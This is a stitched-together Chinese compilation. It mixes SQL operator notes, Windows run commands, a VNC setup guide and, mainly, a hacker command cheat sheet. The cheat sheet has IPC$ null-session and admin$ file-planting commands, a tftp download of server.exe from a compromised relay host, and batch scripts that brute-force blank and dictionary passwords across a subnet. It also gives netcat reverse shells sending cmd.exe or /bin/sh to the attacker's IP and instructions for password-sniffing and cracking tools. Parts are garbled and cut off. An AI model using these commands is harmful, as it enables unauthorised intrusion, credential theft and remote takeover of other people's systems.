一、查询间使用运算词
A: UNION 运算符
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B: EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。
C: INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
二、外连接
A、left outer join:
左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
B:right outer join:
右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
C:full outer join:
全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。
注:复合外连接按照从左到右的顺序执行连接,左边连接的结果集和右边连接
三、超级分组和移动函数
A:grouping sets:用来在单个sql中形成多级分组。
例:select company_id,node_id,count(customer_id) from customer group by grouping sets(company_id,node_id)
B:rollup:可以在单个数据库操作中形成多个分组。
例:select company_id,node_id,count(customer_id) from customer group by rollup(company_id,node_id)
注:rollup操作不是可交换的操作,指定用户组的顺序是很重要的。
C:cube: 生成分组表中分组的所有组合。
例:select company_id,node_id,count(customer_id) from customer group by cube(company_id,node_id)
D:over:移动函数可以帮助实现移动的数据分析
Select date,avg(qty) over(order by date rows between 1 preceding and 1 following) as values from sale
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscrīpt--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------^^整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
rundll32.exe shell32.dll,Control_RunDLL
access.cpl,,1--------显示辅助功能选项
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1--打开系统属性
rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1---删除或添加程序
rundll32.exe syncui.dll,Briefcase_Create----桌面上建立公文包
rundll32.exe diskcopy.dll,DiskCopyRunDll----复制软盘驱动器
rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0--显示时间属性
rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0----显示桌面墙纸属性
rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0-----游戏控制器
rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0---音频属性
cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序 calc-----------启动计算器
charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器 conf-----------启动netmeeting
compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
ciadv.msc------索引服务程序 osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组 logoff---------注销命令
iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
#2 二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
#3 三:
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四:
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
#5 五:
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
#6 六:
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
#7 七:
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
#8 八:
2、扫锚工具:xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
#9 九:
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
4、终端服务密码破解: tscrack.exe
参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同
安装MSI应用程序的时候,错误提示:
Internal Error 2203, C:\Windows\Installer\******.ipi,-2147287035解决方法:修改当前用户的临时文件夹权限,将SYSTEM这个帐号设置为“完全控制”。临时文件夹路径一般是
XP C:\Document And Settings\(your user name)\Local Settings\Temp
vista C:\Users\
当使用su 到另外一个用户运行某个程序,而这个程序又要有图形显示的时候,就有可能有下面提示:
Invalid MIT-MAGIC-COOKIE-1 key
(:3825): Gtk-WARNING **: cannot open display: :0.0
这是因为Xserver默认情况下不允许别的用户的图形程序的图形显示在当前屏幕上. 如果需要别的用户的图形显示在当前屏幕上, 则应以当前登陆的用户, 也就是切换身份前的用户执行如下命令。
xhost +
通过执行这条命令,就授予了其它用户访问当前屏幕的权限,于是就可以以另外的用户运行需要运行的程序了。
vnc
这玩意是个好东西,图形界面都可以远程使用。使用图形界面的系统设置-服务设置-所有服务,把其中vncserver服务打开。
1、必须安装的软件:
vncserver和vncviewer。RHEL AS4光盘上已经有这些东西了,如果没有安装,可以使用添加删除程序把他们安装上,记得还要有KDE或者GNOME。没有安装的话你配置的再对也不会出现图形界面。
如果没有可以从这里下载:http://www.realvnc.com/download.html,for Windows和for Linux的Server/Viewer都要。在Windows下装上VNC,可以只装Viewer,因为XP下已经有桌面共享功能了;在Linux下装上VNC,解压后直接运行vncinstall即可。
2、进入我的Linux帐户(我用的是root),编辑主目录下的.vnc/xstartup为如下内容:
gnome桌面的配置文件如下:
#!/bin/sh
# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
gnome-session &
配置成kde桌面的配置文件如下:
#!/bin/sh
# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
xterm -geometry 80x24+10+10
startkde &
我用的是KDE。
3、在我的帐户中打开终端,运行vncserver,(第一次使用可能会要求输入授权密码,以后要改动的话可以用vncpassword命令),会显示类似下面的提示:
New 'lint:1 (lint)' desktop is root:1
Starting applications specified in xxx/.vnc/xstartup
Log file is xxx:1.log
